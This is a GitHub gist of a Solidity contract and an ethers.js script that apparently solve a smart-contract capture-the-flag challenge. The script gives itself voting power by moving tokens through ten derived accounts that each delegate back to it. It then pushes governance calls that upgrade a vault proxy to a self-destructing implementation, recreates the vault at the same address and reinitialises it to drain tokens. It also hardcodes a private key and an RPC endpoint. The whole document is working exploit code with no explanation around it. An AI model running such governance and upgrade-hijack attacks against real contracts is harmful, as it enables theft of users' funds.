Created
January 26, 2025 16:54
-
-
Save 0xsanson/de55ba0b08a4ba5f774200d9faf2dccf to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity 0.8.10; | |
| interface IHex { | |
| function delegate(address delegatee) external; | |
| function transfer(address, uint256) external; | |
| } | |
| interface IFAC { | |
| function createVault(bytes32 salt_) external; | |
| } | |
| contract MyBurner { | |
| constructor(address diamond) { | |
| IHex(diamond).transfer(tx.origin, 31337); | |
| } | |
| } | |
| contract Die { | |
| bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; | |
| constructor() {} | |
| function die() external { | |
| selfdestruct(payable(address(this))); | |
| } | |
| function ricrea(address vaultFactory) external { | |
| IFAC(vaultFactory).createVault(keccak256("The tea in Nepal is very hot. But the coffee in Peru is much hotter.")); | |
| } | |
| function myBurn(address diamond) external { | |
| new MyBurner(diamond); | |
| } | |
| function proxiableUUID() external view returns(bytes32 slot) { | |
| return _IMPLEMENTATION_SLOT; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import hardhat from "hardhat"; | |
| const { ethers } = hardhat; | |
| import { BigNumber } from "ethers"; | |
| import { parseEther, parseUnits, formatEther, formatUnits, hexDataSlice } from 'ethers/lib/utils.js'; | |
| const URL = `http://164.90.231.253:8545/UxGVAFaUTkMAVlTUiWzjWIhK/main`; | |
| const provider = new ethers.providers.StaticJsonRpcProvider(URL); | |
| const PVT_KEY = '0x533823345bdf2fb7f6c67f8a5382d8be9264e844d5bb35448e7231ffb5f3bc1f'; | |
| const myself = new ethers.Wallet(PVT_KEY).connect(provider); | |
| console.log('myself.address = ', myself.address); | |
| const HEX_ABI = [ | |
| "function delegate(address delegatee) external", | |
| "function transfer(address,uint256) external", | |
| "function getCurrentVotes(address account) external view returns (uint256)" | |
| ] | |
| const VAULT_ABI = [ | |
| "function governanceCall(bytes calldata data) external", | |
| "function burn(address token, uint amount) external", | |
| "function upgradeTo(address newImplementation) external", | |
| "function die() external", | |
| "function initialize(address diamond_, address hexensCoin_) public", | |
| "function ricrea(address vaultFactory) external", | |
| "function myBurn(address diamond) external", | |
| ] | |
| const VAULTFAC_ABI = [ | |
| "function createVault(bytes32 salt_) external", | |
| ] | |
| const CHALLENGE_ADDR = '0x40e55eC1E67C1Ba1Ac2De03FcA58cFacdDD5C275' | |
| let HEX_ADDR, VAULT_ADDR, DIAMOND_ADDR, VAULTFAC_ADDR; | |
| async function getStuff() { | |
| const ABI = [ | |
| "function hexensCoin() external view returns(address)", | |
| "function diamond() external view returns(address)", | |
| "function vault() external view returns(address)", | |
| "function vaultFactory() external view returns(address)", | |
| ] | |
| const chall = new ethers.Contract(CHALLENGE_ADDR, ABI, provider); | |
| HEX_ADDR = await chall.hexensCoin(); | |
| VAULT_ADDR = await chall.vault(); | |
| DIAMOND_ADDR = await chall.diamond(); | |
| VAULTFAC_ADDR = await chall.vaultFactory(); | |
| console.log(`HEX_ADDR = ${HEX_ADDR}`) | |
| console.log(`VAULT_ADDR = ${VAULT_ADDR}`) | |
| console.log(`DIAMOND_ADDR = ${DIAMOND_ADDR}`) | |
| console.log(`VAULTFAC_ADDR = ${VAULTFAC_ADDR}`) | |
| } | |
| async function moveBetweenAccounts() { | |
| const hex = new ethers.Contract(HEX_ADDR, HEX_ABI, provider); | |
| for (let i=0; i<10; i++) { | |
| const key = PVT_KEY.substring(0, PVT_KEY.length - 2) + '0' + i.toString(); | |
| const acc = new ethers.Wallet(key).connect(provider); | |
| const tx1 = await myself.sendTransaction({ | |
| to: acc.address, | |
| value: parseEther("0.001"), | |
| }); | |
| await tx1.wait(); | |
| await (await hex.connect(myself).transfer(acc.address, parseEther("10000"))).wait(); | |
| await (await hex.connect(acc).delegate(myself.address)).wait(); | |
| await (await hex.connect(acc).transfer(myself.address, parseEther("10000"))).wait(); | |
| } | |
| const votes = await hex.getCurrentVotes(myself.address); | |
| console.log(`votes = ${formatEther(votes)}`); | |
| } | |
| async function part1() { | |
| await getStuff(); | |
| const ABI = ["function claim() external"] | |
| const chall = new ethers.Contract(CHALLENGE_ADDR, ABI, provider); | |
| await (await chall.connect(myself).claim()).wait(); | |
| await moveBetweenAccounts(); | |
| } | |
| async function part2() { | |
| await part1(); | |
| const vault = new ethers.Contract(VAULT_ADDR, VAULT_ABI, provider); | |
| const iface = new ethers.utils.Interface(VAULT_ABI); | |
| const data1 = iface.encodeFunctionData("burn", [DIAMOND_ADDR, 31337]); | |
| const tx1 = await vault.connect(myself).governanceCall(data1); | |
| await tx1.wait(); | |
| console.log(`burned`); | |
| // deploy | |
| const DieFact = await ethers.getContractFactory('Die'); | |
| const die = await DieFact.connect(myself).deploy(); | |
| await die.deployTransaction.wait(); | |
| console.log("deployed") | |
| const data = iface.encodeFunctionData("upgradeTo", [die.address]); | |
| const tx2 = await vault.connect(myself).governanceCall(data, {gasLimit: 1000000}); | |
| await tx2.wait(); | |
| console.log(`upgraded`); | |
| const tx3 = await vault.connect(myself).die(); | |
| await tx3.wait(); | |
| console.log("dead") | |
| // recreate vault | |
| const tx4 = await die.connect(myself).ricrea(VAULTFAC_ADDR); | |
| await tx4.wait(); | |
| console.log("recreate") | |
| // init | |
| const tx5 = await vault.connect(myself).initialize(DIAMOND_ADDR, HEX_ADDR); | |
| await tx5.wait(); | |
| console.log(`init`) | |
| const tx6 = await vault.connect(myself).governanceCall(data); | |
| await tx6.wait(); | |
| console.log(`upgraded 2`); | |
| const tx7 = await vault.connect(myself).myBurn(DIAMOND_ADDR); | |
| await tx7.wait(); | |
| console.log(`done`); | |
| } | |
| part2(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment